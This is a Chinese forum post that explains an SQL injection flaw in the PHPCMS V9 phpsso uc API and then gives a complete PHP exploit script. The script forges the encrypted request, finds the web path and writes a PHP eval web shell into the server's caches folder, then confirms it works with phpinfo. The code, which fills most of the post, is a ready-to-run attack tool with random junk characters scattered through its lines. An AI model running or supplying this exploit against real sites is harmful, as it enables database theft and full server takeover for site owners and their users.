找回密码
 立即注册
查看: 2459|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
/ W, g6 z7 Z$ ?0 N2 z
) t* y) t) c# K/ i/ Z! d2 j所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。) I* b7 x' s9 u& W3 F: \
" `" e9 x( I6 L' J& W! h6 i
漏洞分析:
; {: v- k; O. J' ?/ I1.未启用ucenter服务的情况下uc_key为空5 A+ \- r2 {" N/ p2 v
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
3 p3 k, v, L0 H" M% U2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
5 E! J# U2 j* }4 b5 ~) I- D5 N    public function deleteuser($get,$post) {5 y9 r! \0 z; P' D$ ]( ~  |
        pc_base::load_app_func('global', 'admin');
6 `$ M. H& M7 `2 O& l        pc_base::load_app_class('messagequeue', 'admin' , 0);
# a; H8 ?. |' Z3 A. b        $ids = new_stripslashes($get['ids']);* |6 b) ^4 J2 W, L& G
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
% L" S' }, h: v1 ~% w! [1 aSQL语句为/ {/ R* b% L0 x. V
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
- g- x9 l; {  K' ^( h
9 [( s2 P2 v& S/ W利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
* L4 L) X  V9 ]2 v* T/ [<?php1 K4 Y8 r1 n/ ~, F" }
print_r(') h2 c5 M3 s* w- A- N' u, B/ _2 c
---------------------------------------------------------------------------
" n1 w( S- X3 C1 ]" V/ C3 `PHPcms (v9 or Old Version) uc api sql injection 0day
9 `( d! c# J" Z! rby rayh4c#80sec.com
4 n, k0 n2 Y& M# F6 z3 {9 p---------------------------------------------------------------------------7 w/ i6 U) D1 }6 {
');; {' k1 X; d3 e% U4 H( H; N

7 P: e* n5 L" r9 zif ($argc<3) {
. i# c7 J! g# l    print_r('$ ~1 w) }2 g5 t) Q3 v/ f/ z
---------------------------------------------------------------------------) }: G$ ^3 H9 H% j+ R
Usage: php '.$argv[0].' host path OPTIONS
' @, W1 Q! g5 a1 }host:      target server (ip/hostname)
0 c3 V: h6 V5 v/ }9 o& ppath:      path to phpcms; U! n1 L  `0 M4 u; t# d
Options:  D" f1 E2 G. S
-p[port]:    specify a port other than 80+ t- F- K6 l- V+ ?, b- E
-P[ip:port]: specify a proxy
6 g& v5 Y" b2 lExample:. ^: x* h0 i+ Z0 I" s! e6 z
php '.$argv[0].' localhost /
# A& k$ K! f- {0 z) E  E2 [php '.$argv[0].' localhost /phpcms/ -p811 K2 w5 W! O6 v
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
( M7 Y: x) i6 d- D7 P---------------------------------------------------------------------------( c; j4 t+ w( w
');" }6 Z7 y5 w& h9 Y/ ?: n; [
    die;
: d; ]/ i* @- x}/ s  }" t0 z/ l% x4 b, o. X( a( L
  j4 C& D; }4 \5 a' P
error_reporting(7);
8 ]9 r) z/ g+ C/ `: {7 _ini_set("max_execution_time",0);  M- g% }! W: |% `* Z# T# J
ini_set("default_socket_timeout",5);
7 X( p8 G8 p6 |/ k0 `. `' w$ D2 ]
function quick_dump($string)% c6 \; f" U/ a5 t/ m3 r
{' v! I8 s6 D. ]2 D
  $result='';$exa='';$cont=0;- n- q9 I3 L2 R0 @9 Q
  for ($i=0; $i<=strlen($string)-1; $i++)
. K" ~- a' p! {3 @' l2 M; h& j  {
3 b3 K) N  w- w. i1 `. C! K* M   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))0 E2 j' A7 ?5 @
   {$result.="  .";}
" j. K4 w: \8 M   else
" S  L, N; d/ h  Z6 F9 w$ I   {$result.="  ".$string[$i];}$ X" ^! s, X# Q9 f% C
   if (strlen(dechex(ord($string[$i])))==2)8 y# w! X( Z. ^5 w
   {$exa.=" ".dechex(ord($string[$i]));}
# K% g" M+ z, m7 |+ r   else
" L+ @7 i) Z! Y0 v4 w# V   {$exa.=" 0".dechex(ord($string[$i]));}8 P5 f9 P- ]5 F) |8 M  ?6 k$ T
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}- C8 O$ O/ G; S, j
  }- H! y% _+ P$ K( A
return $exa."\r\n".$result;; u3 Y, j- i+ s1 b. H& B6 y3 v" g
}
: D7 y7 z- q0 q! A  \& K$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
0 n& X7 n$ l( |3 t; u) G% _
. S/ l  J! p$ ^9 x- L  y: w$ Ufunction send($packet)
: c/ \% ]" |/ }, ]% d/ S{
3 k) Y3 s' x5 n3 n! f  global $proxy, $host, $port, $html, $proxy_regex;
' t6 T; x% s2 y% r) S1 s4 p  if ($proxy=='') {
8 }; a9 J: _$ x6 v# Y    $ock=fsockopen(gethostbyname($host),$port);
1 q' K) A& P2 x& C  C* D  H: c    if (!$ock) {
. s. U9 u4 \& W; G- j      echo 'No response from '.$host.':'.$port; die;
9 K' d3 n* i& m1 y    }
2 {3 W* u: K, J. ^4 r6 O: U  }
' b# u. l' J) V0 _' B& u; B1 C4 X3 P  else {
8 T' |2 y4 \9 j+ u9 z        $c = preg_match($proxy_regex,$proxy);! K( k$ c8 e4 T6 S) Z  {5 T
    if (!$c) {
* w0 V* Y8 J' S/ [7 k( {0 \# M      echo 'Not a valid proxy...';die;
5 K2 ~  K" t4 }1 M7 b/ K    }. Z5 f, q7 t# J
    $parts=explode(':',$proxy);
9 L/ N( S8 S' A  j    $parts[1]=(int)$parts[1];8 l! o: @* |7 n7 n9 x/ m( [
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";: G' h* ?! s8 R1 l) X# k: `
    $ock=fsockopen($parts[0],$parts[1]);- l9 }" |7 b; b( `3 b2 H
    if (!$ock) {
# ~! C, F' l9 V$ J. I7 d) l      echo 'No response from proxy...';die;
! Y5 j) n7 v- z( l4 Q; {; v/ T3 s        }
' Y7 ^- ]* r$ ~  }3 v% x( |: M+ r3 b
  fputs($ock,$packet);$ |3 T  D5 q7 l# L9 M+ p$ N) A
  if ($proxy=='') {
' I. J0 J4 ]; n0 C6 d7 v# V    $html='';1 P' F3 T5 e+ ?3 w, C0 z- V6 d
    while (!feof($ock)) {
2 z! d& Z& ]/ c. Y1 @# V7 d# K  A      $html.=fgets($ock);
% u: i2 H4 t9 }) [; X    }3 p) Z/ p1 ]9 W; c6 \
  }! p* l: I( M+ i" ]# q0 G5 r
  else {- H  C- b0 r3 l9 F9 z/ s0 E# V
    $html='';
0 }( x" ~- z# h  ?/ x    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {3 z8 \. X+ i; r; l( z/ j
      $html.=fread($ock,1);5 r( N6 f; J1 u+ ^1 c% E+ ~
    }+ J$ h0 i) e# P/ |
  }8 u  v0 H! h3 b
  fclose($ock);0 z! n8 X2 T9 B+ F1 P1 g5 V
}: T% g( d9 i) N2 Z; Z

  d! u3 d. _# l. I9 w$host=$argv[1];
0 K; c/ h. p: k0 B2 J) Z2 A$path=$argv[2];
' H3 a( q$ E- Q0 K3 D! q$port=80;" g1 _1 H# \1 n" g$ o+ D: s
$proxy="";
7 g$ O! j, N0 d; ^" B8 C0 Ufor ($i=3; $i<$argc; $i++){
& @: y- A5 }7 S, n$temp=$argv[$i][0].$argv[$i][1];
2 |  I  _" D! ~. @if ($temp=="-p")
7 R2 [4 i6 @6 H6 J3 x) m{* e' }6 n% p; N
  $port=(int)str_replace("-p","",$argv[$i]);& D2 L* i2 n4 h8 Z4 b& J& R- ~
}6 b! P- Y$ p/ |8 m! b5 D
if ($temp=="-P")
9 \. f! ?2 w9 X. U3 F/ j{
7 b- m, h- B, N% J7 Z$ H  $proxy=str_replace("-P","",$argv[$i]);
7 V" b( b/ k  r- I7 q- z# x}  \0 V$ e$ B/ I5 z0 {8 U2 Z0 F
}
, t& O* e) c6 i5 o& @9 c/ _2 l, g8 R3 ^, a
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}1 G8 j; H+ h# b0 q
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  _2 b+ g. @, ^3 ?5 s

" k% Z0 u  @4 Q- o. n% E7 j2 afunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {% m, T2 O: _. D' w+ K) [. b

+ {" N" ?' C+ u' `    $ckey_length = 4;
4 }) T5 M7 q$ n% H8 h: L' H$ z$ A1 ]( Z4 f6 S6 ^* Z
    $key = md5($key ? $key : '');3 V1 i% e, o% g/ @! F
    $keya = md5(substr($key, 0, 16));
/ P9 C; t0 u0 r# b. ?    $keyb = md5(substr($key, 16, 16));1 ]" ~  S* ^0 I3 ~
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';8 {' [$ v5 j7 p6 C" V" I
" V  ~# k; w. P4 |4 b- `% X
    $cryptkey = $keya.md5($keya.$keyc);- q2 ?7 a  B; B. F
    $key_length = strlen($cryptkey);! p+ ?1 ?: ~2 z. P7 B6 G
' @! V6 p- w% \3 c% w
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;; G. ~! H+ X- {, B" F4 N4 y
    $string_length = strlen($string);. w# l4 R4 f3 k* Y( ?. r: N. `" w
3 T3 B6 l6 p1 w7 s' w: z
    $result = '';+ }* f3 s! t8 r3 w" ]
    $box = range(0, 255);1 \7 k! S1 |/ J& A+ r5 }

  @# {! c+ Q. h4 M# T    $rndkey = array();9 y2 z! ?7 a( W. o5 F! W# J4 V
    for($i = 0; $i <= 255; $i++) {8 o, a9 ~/ N: C) L# L
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);$ b  i& Y$ h+ A6 h3 }! S
    }, F+ W( {* h5 O2 n; ^6 D
3 U/ p' o& d" L; F+ O" t  [
    for($j = $i = 0; $i < 256; $i++) {8 }* E5 T9 o. @+ Y$ d* [$ u
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;# u+ z9 [) j( ^/ d
        $tmp = $box[$i];
* s& O. Q9 O3 Q        $box[$i] = $box[$j];. r) Q2 K% @. }0 ^5 s8 ~
        $box[$j] = $tmp;
, f7 o4 d5 [7 \: h* L' x: U    }9 a5 r, a& N( b/ \, S
* a1 \9 J) O; T$ t2 M2 o
    for($a = $j = $i = 0; $i < $string_length; $i++) {
4 A# q8 D+ Z( F) c, }6 T! A2 H        $a = ($a + 1) % 256;
& [( k3 U/ R. V! k& p! J        $j = ($j + $box[$a]) % 256;
6 f" _  c1 Y. R: a  M        $tmp = $box[$a];( |! b1 L* ]1 a# h" a
        $box[$a] = $box[$j];, {& Z) A$ k" y
        $box[$j] = $tmp;
0 u* l* k8 k& |6 P3 w        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));4 h7 L* p/ @/ H7 Z0 Z: g+ @
    }
) E6 w- k4 _; M8 S; A
+ g2 r8 s4 S, y# R+ I4 x# y    if($operation == 'DECODE') {
) S3 I6 D% ]3 m( ?: Z        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
/ p5 u2 a* a+ x            return substr($result, 26);, i4 \, ^/ g9 T  y
        } else {
. o6 K- ~/ ~: T; Z: d            return '';
; f4 Q& e( p: g0 ^        }
: v% _7 n, o0 A    } else {7 ~% E" D0 A: S6 \$ K) ?: R8 |/ ^7 S
        return $keyc.str_replace('=', '', base64_encode($result));
/ M( h2 b. ~! ^4 X    }' K3 C9 J! }# E# L% H! ^

4 D0 x9 a5 W' q! o& r}( e" W0 ]! p8 i: x+ w

+ c4 [1 A5 m5 W( `; p$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
9 X! O% M5 _- C- ]) U" Q$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ {7 Q6 S/ Z+ z& K1 necho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";# v$ y$ C5 w5 j- _# `; d; T5 B' K
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
1 v1 S/ g- z4 o0 k- Z4 j9 i$packet.="User-Agent: Mozilla/5.0\r\n";. `  e; O$ S3 ]' F- X
$packet.="Host: ".$host."\r\n";
1 B# U& F8 o, h9 ?: ^" r$packet.="Connection: Close\r\n\r\n";; t5 O. ?2 j( t% i( f
send($packet);0 U4 \! ?" X) |7 b
if(strpos($html,"MySQL Errno") > 0){  J, G, D& u2 ]' M
echo "[2] 发现存在SQL注入漏洞"."\n";
% `. y4 x& _+ A0 Z7 }& m5 i: g; aecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
7 J  B0 F# ]' D+ W4 R$ @8 C/ _$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";  J& y" Y% i8 {# J/ p9 Z
$packet.="User-Agent: Mozilla/5.0\r\n";
# ~) o7 m  ~! I0 d$ s1 {$packet.="Host: ".$host."\r\n";; q3 C/ z5 h+ Q( I3 B8 N0 j# D" r, t
$packet.="Connection: Close\r\n\r\n";
* W- ~- R9 A+ R9 Ksend($packet);9 `& C/ f) _( S) ?
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
1 F1 s" i! D4 Y1 [7 o" b5 D' r//print_r($matches);) C, l% x" u! `4 X
if(!empty($matches)){1 D& p1 `+ r1 a+ `9 z+ e8 H
echo "[4] 得到web路径 " . $matches[0]."\n";
0 j6 S& {" I$ k) m" ^( F( L3 techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";$ h( E" v2 h, b; w8 r
$SQL = "time=999999999999999999999999&ids=1)";
- o: j7 d, q  h- n# s$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# U' u: |' O5 L& E: Y& I6 w$SQL.="&action=deleteuser";
/ U) Z2 ~. L  I' k' _3 a5 o: v$SQL = urlencode(authcode($SQL, "ENCODE", ""));
( E# O$ q$ o3 Z& v0 decho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
, R  ?7 p: R7 A6 T( F  J2 u3 G5 R/ [$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ f" |9 S' ?  N5 @7 R
$packet.="User-Agent: Mozilla/5.0\r\n";/ ^- b8 ?4 D: u6 x4 P0 B6 Q
$packet.="Host: ".$host."\r\n";
* K2 V' M& }3 m: S' f4 {1 S; I$packet.="Connection: Close\r\n\r\n";/ L+ r% N; U2 ~0 H. q. }: E
send($packet);
7 L2 p4 y( ~4 z. G/ G4 }6 gif(strpos($html,"Access denied") > 0){* j4 f+ C4 g$ a" q
echo "[-] MYSQL权限过低 禁止写入文件 ";
* a) g5 q5 n( q7 Odie;
. D# a4 z( {$ [) w: {: f}
! q4 _% d" |5 A0 ~echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
# A3 x8 @: p- E* N* Y- x( H$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
) `4 _. B3 ^# o. m2 C8 T$packet.="User-Agent: Mozilla/5.0\r\n";
! n8 K9 |" F( a$ e4 `! R+ C4 P$packet.="Host: ".$host."\r\n";  ~# ^' j% Q+ Y0 v8 X  N
$packet.="Connection: Close\r\n\r\n";
; E1 W, V0 j! p) Zsend($packet);; ~) t/ J) b4 Z( R* k/ @4 v
if(strpos($html,"<title>phpinfo()</title>") > 0){. k/ I0 \* x& M' e1 N
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
! M. ~. G* d; a4 N% o}5 i7 K) w# m' c; S- H; o' y8 b
}else{5 o% M: R% D) r6 g2 |
echo "[-]未取到web路径 ";  e( o  ?5 U" J& P5 e
}
* f5 `  T9 s1 t% \7 k}else{( F0 G% b7 ~- `; h
echo "[*]不存在SQL注入漏洞"."\n";
; {1 M. q) T4 m+ Q* A. z}* c' L3 ~) E0 s8 Q
) W2 _4 F' q) G9 U6 D, W) V8 {
?>5 T0 h7 s6 n- J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表